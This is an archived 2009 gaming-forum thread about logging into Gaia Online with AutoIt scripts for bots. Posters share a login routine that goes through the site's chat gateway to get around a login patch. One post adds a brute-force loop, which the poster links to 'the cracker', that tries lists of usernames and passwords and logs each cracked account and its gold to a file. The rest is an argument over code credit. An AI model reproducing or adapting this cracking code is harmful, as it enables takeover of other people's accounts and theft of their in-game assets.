Go Back   Gaming Gutter > Non-Gaming > Programming


Programming - All general programming discussion in here.

» Site Navigation
» Home
» FAQ
» Log in
User Name:

Password:

Not a member yet?
Register Now!
» Advertisement
» GG Stuff

Follow us on Twitter!

Get the GG toolbar today (for firefox only)
» Recent Threads
Go to first new post Want Subeta Accounts,...
Today 10:48 AM
by Lugoo
Last post by Lugoo
Today 10:48 AM
0 Replies, 1 Views
Go to first new post Favorite television...
07-09-2010 02:02 AM
by Clip
Last post by Lugoo
Today 10:47 AM
33 Replies, 387 Views
Go to first new post Spam spam spam
Today 12:03 AM
by Airey
Last post by Arthritis
Today 10:31 AM
2 Replies, 41 Views
Go to first new post Selling Gold [USD]
07-21-2010 05:51 PM
Last post by Silence Haxor
Today 10:15 AM
11 Replies, 61 Views
Go to first new post Why GG trading full of...
Yesterday 09:38 PM
by NeoKurt
Last post by l_royalty_l
Today 08:53 AM
6 Replies, 69 Views
Reply
 
LinkBack Thread Tools Display Modes

 New gaia login code for autoIT?
Old 08-28-2009, 10:42 AM   #1 (permalink)
Site Programmer

Male jimmy legend is offline
 
jimmy legend's Avatar
 
Join Date: Jul 2009
Location: limerick Ireland
Posts: 381
GPoints: 420
iTrader: 0 / 0%
jimmy legend Is Amongst Royaltyjimmy legend Is Amongst Royalty
Rep Power: 5
New gaia login code for autoIT?

I decided to start learning python in a week or so.

How do I login to gaia now using autoIT?
  Reply With Quote

 
Old 08-28-2009, 01:52 PM   #2 (permalink)
Full Member

Male iPoison is offline
 
iPoison's Avatar
 
Join Date: Apr 2009
Location: Iowa, Usa
Age: 16
Posts: 1,079
GPoints: 10,237
iTrader: 0 / 0%
iPoison Is Popular
Rep Power: 6
Credits/Thanks = Hazerofdoom.
Quote:
Originally Posted by hazerofdoom
I haven`t released anything while being in here so I thought ill release this since the login is patched for most bots.

It logs in through towns.

Code:
Func -Name of the login button here-()
	$Response = _HTTPRequest($oHTTP, "GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & (_DateDiff('s', "1970/01/01 00:00:00", _NowCalc())) * 1000 & "&v=sushi&m=108%01" & _URLEncode(GUICtrlRead($Input1)) & "%01" & _GaiaMD5(GUICtrlRead($Input2)) & "%04")

	If StringInStr($Response, "108%01%05%01") Then
		MsgBox(0, "", "You were successfully logged in.")
		;Put the fuction you want to call if the login is successful here.
	Else
		MsgBox(0, "", "Login was unsuccessful.")
	EndIf
EndFunc
Add this at the bottom of your whole bot coding or the top idc.

Code:
Func _HTTPRequest($oHTTP, $oMethod, $oURL, $oData = "")
	$oHTTP.Open($oMethod, $oURL, False)
	$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5")
	If $oMethod = "POST" Then $oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
	$oHTTP.Send($oData)
	Return $oHTTP.ResponseText
EndFunc   ;==>_HTTPRequest
And add this too.

Code:
Func __StringBetween($s, $from, $to)
	$x = StringInStr($s, $from) + StringLen($from)
	$y = StringInStr(StringTrimLeft($s, $x), $to)
	Return StringMid($s, $x, $y)
EndFunc

And add this before the GUI coding:

AutoItSetOption("GUIOnEventMode", 1)
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

You will need two au3 files.

GaiaMD5.au3
URLEncode.au3

Put these in Your includes folder.

And add these to the includes of your code:

#include <GaiaMd5.au3>
#include <URLEncode.au3>
#include <Date.au3>
Hotfile.com: One click file hosting
Hotfile.com: One click file hosting
__________________

I'll work on my avi later. :3


Last edited by iPoison; 08-28-2009 at 01:54 PM..
  Reply With Quote

 
Old 08-28-2009, 01:54 PM   #3 (permalink)
Site Programmer

Male jimmy legend is offline
 
jimmy legend's Avatar
 
Join Date: Jul 2009
Location: limerick Ireland
Posts: 381
GPoints: 420
iTrader: 0 / 0%
jimmy legend Is Amongst Royaltyjimmy legend Is Amongst Royalty
Rep Power: 5
ummm.
if I login via towns can I still access the main gaia page?
  Reply With Quote

 
Old 08-28-2009, 01:55 PM   #4 (permalink)
G3
TRYHARDMAN

G3 is offline
 
G3's Avatar
 
Join Date: Jun 2009
Location: live? wut.
Posts: 7,117
GPoints: 21,242
iTrader: 0 / 0%
G3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYY
Rep Power: 32
are you joking. that's not Hazerofdoom's code. That's mine. Copied the code from the cracker..
  Reply With Quote

 
Old 08-28-2009, 01:56 PM   #5 (permalink)
Full Member

Male iPoison is offline
 
iPoison's Avatar
 
Join Date: Apr 2009
Location: Iowa, Usa
Age: 16
Posts: 1,079
GPoints: 10,237
iTrader: 0 / 0%
iPoison Is Popular
Rep Power: 6
Yeah.
I just checked on my mule. :P
Srsly?
I got it from hazer.
__________________

I'll work on my avi later. :3

  Reply With Quote

 
Old 08-28-2009, 01:58 PM   #6 (permalink)
Site Programmer

Male jimmy legend is offline
 
jimmy legend's Avatar
 
Join Date: Jul 2009
Location: limerick Ireland
Posts: 381
GPoints: 420
iTrader: 0 / 0%
jimmy legend Is Amongst Royaltyjimmy legend Is Amongst Royalty
Rep Power: 5
Ok.

thanks g3
thanks iPoison
  Reply With Quote

 
Old 08-28-2009, 01:58 PM   #7 (permalink)
G3
TRYHARDMAN

G3 is offline
 
G3's Avatar
 
Join Date: Jun 2009
Location: live? wut.
Posts: 7,117
GPoints: 21,242
iTrader: 0 / 0%
G3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYYG3 Is MANLYYYYYYY
Rep Power: 32
Code:
For $i = 1 To $oLines
    $sPass = FileReadLine($oPasswords, $i)
    $sMd5Pass = _gaiaMD5($sPass)
    For $x = 1 To $oULines
        $sUser = FileReadLine($oAccounts, $x)
        $UtcTime = (_DateDiff('s',"1970/01/01 00:00:00",_NowCalc()))*1000+$x
        $oHTTP.Open("GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & $UtcTime & "&v=sushi&m=108%01" & _URLEncode($sUser) & "%01" & $sMd5Pass & "%04", False)
        $oHTTP.SetRequestHeader ("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5")
        $oHTTP.SetRequestHeader ("Connection", "Close")
        $oHTTP.SetRequestHeader ("Referer", "http://s2.cdn.gaiaonline.com/images/towns/010/towns.swf")
        $oHTTP.Send()
        If StringInStr($oHTTP.ResponseText, "108%01%05%01") Then
            $UtcTime = (_DateDiff('s',"1970/01/01 00:00:00",_NowCalc()))*1000+$x
            $temp = StringReplace($oHTTP.ResponseText, "108%01%05%01", "")
            $temp = _HTTPRequest($oHTTP, "GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & $UtcTime & "&v=sushi&m=113%01" & $temp & "%04")
            $temp = StringReplace($temp, "113%01%05%01", "")
            FileWriteLine("output.txt", $sUser & " : " & $sPass & " -Gold: " & $temp)
            GUICtrlSetData($Label1, $sUser & " == " & $sPass)
            GUICtrlSetColor($Label1, 0x00FF00)
        Else
            GUICtrlSetData($Label1, $sUser & " != " & $sPass)
            GUICtrlSetColor($Label1, 0xFF0000)
        EndIf
        $tPercent += $percent
        GUICtrlSetData($Progress1, $tPercent)
    Next
Next
line
Code:
$UtcTime = (_DateDiff('s',"1970/01/01 00:00:00",_NowCalc()))*1000+$x
        $oHTTP.Open("GET", "http://www.gaiaonline.com/chat/gsi/gateway.php?X=" & $UtcTime & "&v=sushi&m=108%01" & _URLEncode($sUser) & "%01" & $sMd5Pass & "%04", False)
LOOKS THE SAME? HUH?
  Reply With Quote

 
Old 08-28-2009, 01:59 PM   #8 (permalink)
Full Member

Male iPoison is offline
 
iPoison's Avatar
 
Join Date: Apr 2009
Location: Iowa, Usa
Age: 16
Posts: 1,079
GPoints: 10,237
iTrader: 0 / 0%
iPoison Is Popular
Rep Power: 6
Mmm.
olol i see it more now.
But Jimmy still got what he wanted.
Change the credits and stuff.
__________________

I'll work on my avi later. :3

  Reply With Quote

 
Old 08-28-2009, 02:00 PM   #9 (permalink)
Site Programmer

Male jimmy legend is offline
 
jimmy legend's Avatar
 
Join Date: Jul 2009
Location: limerick Ireland
Posts: 381
GPoints: 420
iTrader: 0 / 0%
jimmy legend Is Amongst Royaltyjimmy legend Is Amongst Royalty
Rep Power: 5
g3 wouldn't you need that anyway even if he didn't copy your code and made it himself?

or did he just use all of your code?
  Reply With Quote

 
Old 09-24-2009, 12:44 AM   #10 (permalink)
Junior Member

Undisclosed skaterking666 is offline
 
Join Date: Sep 2009
Posts: 6
GPoints: 331
iTrader: 0 / 0%
skaterking666 Is a New Face in Town
Rep Power: 0
I see poison comes here too sup man its me LIGHT
  Reply With Quote
Reply

Bookmarks



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Powered by vBadvanced CMPS v3.1.0

All times are GMT -7. The time now is 10:49 AM.


vBulletin skin developed by: eXtremepixels
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The contents of this webpage are copyright © 2006-2008 GamingGutter.com. All Rights Reserved.

Page generated in 0.28072500 seconds (100.00% PHP - 0% MySQL) with 21 queries